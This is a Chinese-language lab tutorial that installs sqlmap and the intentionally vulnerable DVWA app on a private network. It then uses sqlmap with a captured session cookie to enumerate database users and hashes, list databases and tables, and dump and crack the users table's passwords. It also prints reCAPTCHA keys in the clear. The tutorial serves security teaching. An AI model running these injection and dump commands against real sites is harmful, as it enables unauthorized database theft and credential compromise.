安裝SQLmap: IP:192.168.94.11
滲透測試演練系統DVWA: IP:192.168.94.111
通過SQLmap檢測SQL注入漏洞 :
1.安裝SQLmap漏洞查看工具
2.安裝滲透測試演練系統DVWA
3.使用SQLmap進行sql注入並獲得后台管理員adnim帳號和密碼
sql注入概述:
所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令
它是利用現有應用程序,可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫
比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊
比如 :12306.cn 帳號和密碼泄露
什么是SQLmap?
SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(數據庫指紋、訪問底層文件系統、執行命令)
官方網站下載 : http://sqlmap.org/
安裝sqlmap
# 首先安裝python [root@sqlmap ~]# yum -y install python [root@sqlmap ~]# python -V Python 2.7.5 # sqlmap 的安裝比較簡單,把源碼下載下來然后上傳到linux [root@sqlmap ~]# unzip master.zip -d /usr/local/sqlmap [root@sqlmap ~]# cd /usr/local/sqlmap/ [root@sqlmap sqlmap]# ls doc lib plugins README.md sqlmapapi.py sqlmap.py thirdparty udf waf extra LICENSE procs shell sqlmap.conf tamper txt vim-master xml [root@sqlmap sqlmap]# ./sqlmap.py # 設置環境變量 [root@sqlmap sqlmap]# vim /etc/profile alias sqlmap='python /usr/local/sqlmap/sqlmap.py' [root@sqlmap sqlmap]# source /etc/profile
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql編寫的一套用於常規WEB漏洞教學和檢測的WEB脆弱性測試程序。包含了SQL注入、XSS、盲注等常見的一些安全漏洞
官方網站:鏈接地址:http://www.dvwa.co.uk 網站是英國的 ,有時候訪問外國的網站可能會打不開
安裝滲透測試演練系統DVWA
快速部署DVWA滲透測試環境 , 搭建一個安全系數較低的網站
[root@dvwa ~]# yum install -y httpd mysql-server mysql php php-mysql php-gd [root@dvwa ~]# systemctl start httpd [root@dvwa ~]# systemctl start mariadb
php-gd庫:gd庫是php處理圖形的擴展庫,gd庫提供了一系列用來處理圖片的API,使用GD庫可以處理圖片,或者生成圖片。 在網站上GD庫通常用來生成縮略圖或者用來對圖片加水印或者對網站數據生成報表及驗證碼
測試LAMP環境
[root@dvwa ~]# vim /var/www/html/1.php <?php phpinfo(); ?>
配置mysql數據root用戶密碼
[root@dvwa ~]# mysqladmin -u root password "123456" [root@dvwa ~]# mysql -u root -p123456 # 將下載的dvwa滲透系統代碼上傳到Linux上 ,並解壓到網頁根目錄下 [root@dvwa ~]# unzip DVWA-master.zip -d /var/www/html/ [root@dvwa ~]# ls /var/www/html/ 1.php DVWA-master [root@dvwa ~]# chown -R apache.apache /var/www/html/DVWA-master/ # 編輯/dvwa/config/config.inc.php , 配置數據庫信息 ,user和password是MySQL的用戶名和密碼 # cp配置文件模板 [root@dvwa ~]# cp /var/www/html/DVWA-master/config/config.inc.php{.dist,} [root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = '123456'; # 修改為mysql的root密碼
部署DVWA網站系統
在瀏覽器中輸入:http://192.168.94.111/DVWA-master/setup.php
解決環境問題
[root@dvwa ~]# vim /etc/php.ini # allow_url_include = Off 把Off改為On [root@dvwa ~]# systemctl restart httpd
刷新頁面
reCAPTCHA概述:
CMU設計了一個名叫reCAPTCHA的強大系統,讓他們的電腦去向人類求助。具體做法是:將OCR軟件無法識別的文字掃描圖傳給世界各大網站,用以替換原來的驗證碼圖片;那些網站的用戶在正確識別出這些文字之后,其答案便會被傳回CMU
CAPTCHA:驗證碼
哪怎么獲取驗證碼呢?
[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php # You'll need to generate your own keys at: https://www.google.com/recaptcha/admin/create # 需要去 https://www.google.com/recaptcha 注冊 $_DVWA[ 'recaptcha_public_key' ] = ''; $_DVWA[ 'recaptcha_private_key' ] = '';
recaptcha 的首頁
[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php $_DVWA[ 'recaptcha_public_key' ] = '6LdDSWgUAAAAAH8te4z-0PhAD0AobWyGzBJUBOle'; $_DVWA[ 'recaptcha_private_key' ] = '6LdDSWgUAAAAABd7U8XHHSYuB5LnSfnpZ7B90jaW'; [root@dvwa ~]# systemctl restart httpd
刷新瀏覽器
后期登錄:
http://192.168.94.111/DVWA-master/login.php
dvwa的登錄界面的默認用戶名和密碼為admin和password
到這DVMA就部署完了
接下來就開始SQL注入了
SQLmap探測sql注入漏洞 :
1.枚舉登錄MYSQL數據的用戶名與密碼
2.枚舉所有數據庫
3.枚舉指定數據庫的數據表
4.枚舉指定數據表中的所有用戶名與密碼
語法:SQLmap命令選項被歸類為目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、枚舉等
使用SQLmap之前我們得到需要當前會話cookies等信息,用來在滲透過程中維持連接狀態,這里使用Firefox中名為“TamperData”的插件獲取
Tamper Data是一個用於跟蹤和修改http/https請求和POST參數的擴展
為方便演示,我們將DVWA安全等級設置為low
輸入賬號密碼登錄
可以抓到當前會話的cookie及提及表單的用戶admin和密碼password
找到sql注入點
接下來以火狐瀏覽器登錄:http://192.168.1.63/DVWA-1.9/index.php
進入頁面的“SQL Injection”部分,輸入任意值並提交。可以看到get請求的ID參數如下:
http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#
這里有提交sql語句的地方,所以就是我們的一個sql注入點 , 因此該頁面就是我們的目標頁面
獲取當前頁面的cookie信息 :
cookie的值抓到了
接下來該輪到SQLmap登場了
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' -b --current-db --current-user
使用選項:
1、--cookie : 設置我們的cookie值“將DVWA安全等級從high設置為low”
2、-u : 指定目標URL,syql注入點
3、-b : 獲取DBMS banner (DBMS:Database Management System 數據庫管理系統)
4、--current-db : 獲取當前數據庫
5、--current-user :獲取當前用戶
中間會遇到幾個選項,一路選擇y就可以了
結果如下 :
1.使用命令用來枚舉所有登錄msyql數據庫的用戶名和密碼hash值,后期可以對密碼hash進行破解,生成明文密碼
2.枚舉系統中所有的數據庫名
3.枚舉dvwa數據表
4.獲取dvwa庫中users表的所有列名字
5.提取user表中的用戶名與密碼等信息。將用戶與密碼表中的所有用戶名與密碼dump出來
cookie 和 sql注入點永遠不變
1 :
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' --string="Surname" --users --password
使用選項:
1、--string : 當查詢可用時用來匹配頁面中的字符串
2、--users : 枚舉DBMS用戶
3、--password : 枚舉DBMS用戶密碼hash
一路小y加回車就行
因為密碼太簡單 , 所以被秒解
到現在為止我們已經知道,當前數據庫是mariadb 5.5.56, 登錄mysql的root密碼為:123456
2 :
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' --dbs
使用選項:
--dbs: 枚舉DBMS中的所有數據庫
3 :
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' -D dvwa --tables
使用選項:
1、-D : 要枚舉的DBMS數據庫
2、--tables : 枚舉DBMS數據庫中的數據表
4 :
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' D dvwa -T users --columns
使用選項:
-T : 要枚舉的DBMS數據庫表
--columns : 枚舉DBMS數據庫表中的所有列
拖庫 :
提取user表中的用戶名與密碼等信息。將用戶與密碼表中的所有用戶名與密碼dump出來
[root@sqlmap ~]# sqlmap -u "http://192.168.94.111/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low; PHPSESSID=36khgjg1m9mdr2qm0uk0st9960' -D dvwa -T users -C user,password --dump
使用選項:
-T : 要枚舉的DBMS數據表
-C: 要枚舉的DBMS數據表中的列
--dump : 轉儲DBMS數據表項
SQLmap會提問是否破解密碼,按回車確認
盡管我們用的數據庫中密碼是經過md5加密的,但是sqlmap可以導出sql數據,幫你解析成明文密碼
查看導出的數據 :
[root@sqlmap ~]# cat /root/.sqlmap/output/192.168.94.111/dump/dvwa/users.csv user,password 1337,8d3533d75ae2c3966d7e0d4fcc69216b (charley) admin,5f4dcc3b5aa765d61d8327deb882cf99 (password) gordonb,e99a18c428cb38d5f260853678922e03 (abc123) pablo,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)
到這我們就利用SQLmap滲透到一個有漏洞的網站 , 並獲得了后台管理員admin的賬號和密碼